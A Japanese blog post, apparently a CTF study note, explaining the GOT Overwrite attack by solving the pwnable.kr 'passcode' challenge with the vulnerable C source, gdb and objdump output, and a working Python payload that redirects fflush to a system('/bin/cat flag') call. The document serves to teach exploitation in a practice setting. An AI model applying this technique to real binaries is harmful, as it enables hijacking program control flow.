LoginSignup

This article is a Private article. Only a writer and users who know the URL can access it.
Please change open range to public in publish setting if you want to share this article with other users.

More than 5 years have passed since last update.

GOT Overwrite攻撃について

Posted at

GOT Overwrite攻撃について

この記事はIS17erアドベントカレンダー15日目の記事としてあとから書かれたものです。

最近個人的にCTFにハマっていて、このGOT Overwrite攻撃は、けっこう初級レベルらしいのですが、全然知らなかったので、勉強用にまとめてみます。

GOT Overwrite攻撃とは

GOTとは、Global Offset Tableのことで、ライブラリ関数を呼び出すときに参照するテーブルを指します。
実行ファイルがライブラリと動的リンクされていて、ライブラリの関数アドレスを保存している領域がReadOnlyでない場合、GOT Overwrite攻撃が有効となります。書式文字列攻撃などでライブラリ関数のアドレスを、実行したいアセンブリのアドレスに書き換えることで、ライブラリ関数の実行を任意の挙動に置き換えることができます。

問題

pwnable.krのpasscodeという初級の問題です。

passcode.c
#include <stdio.h>
#include <stdlib.h>

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
        printf("Login OK!\n");
        system("/bin/cat flag");
    }else{
        printf("Login Failed!\n");
        exit(0);
    }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;
}

このcファイルをコンパイルしてできる実行ファイルに適切なインプットを与えると、フラグがとれます。

考え方

上記のプログラムのミスは

scanf("%d", passcode1);
scanf("%d", passcode2);

となっている点にあります。passcode1の値をアドレスとする箇所にscanfで値を自由に格納することができます。

passcode1==338150 && passcode2==13371337

とあるので、この値を合わせにいこうかと考えるところですが、今回はGOT Overwriteによってpwnするので、これは使いません(なんか使う解法もあると思うんだけどなあ)。

passcode1の初期値をnameに対してのscanf時に、fflush関数を指しているGOTのアドレスにします。passcode1の値をアドレスとする箇所には、system("/bin/cat flag")のアセンブリ命令のアドレスを置きます。

こうすると、fflushが呼び出されるときに、system("/bin/cat flag")が実行されます。

passcode1の初期値ですが、以下のようにgdbを使うと、インプットの97~99byte目が入っていることがわかります(一応gdb disasして、ベースポインタからの相対位置を見ることでも確かめられます)。

(gdb) b *0x0804857f
Breakpoint 1 at 0x804857f
(gdb) r
Starting program: /home/passcode/passcode
Toddler's Secure Login System 1.0 beta.
enter you name : 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
Welcome 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789!

Breakpoint 1, 0x0804857f in login ()
(gdb) i r
eax            0x8048783    134514563
ecx            0x0  0
edx            0x39383736   959985462 // "9876"が入っている
ebx            0x0  0
esp            0xffc9cbe0   0xffc9cbe0
ebp            0xffc9cc08   0xffc9cc08
esi            0xf7758000   -143294464
edi            0xf7758000   -143294464
eip            0x804857f    0x804857f <login+27>
eflags         0x282    [ SF IF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

さて、fflushを指しているGOTのアドレスは

passcode@ubuntu:~$ objdump -R passcode

passcode:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a02c R_386_COPY        stdin@@GLIBC_2.0
0804a000 R_386_JUMP_SLOT   printf@GLIBC_2.0
0804a004 R_386_JUMP_SLOT   fflush@GLIBC_2.0
0804a008 R_386_JUMP_SLOT   __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT   puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT   __gmon_start__
0804a018 R_386_JUMP_SLOT   exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7

から、0x0804a004だとわかります。
また、system("/bin/cat flag")のアドレスはgdbでdisasすると

0x080485e3 <+127>:  movl   $0x80487af,(%esp)
0x080485ea <+134>:  call   0x8048460 <system@plt>

から、0x080485eaであることがわかります。ジャンプ先は、この一つ前の0x080485e3(134514147)に指定します。

passcode@ubuntu:~$ python -c "print '0'*96+'\x04\xa0\x04\x08'+'134514147'" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)

参考

http://atodekaerukamo.blogspot.jp/2017/09/pwnable-5-passcodewriteup.html
セキュリティコンテストチャンレンジブック

0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up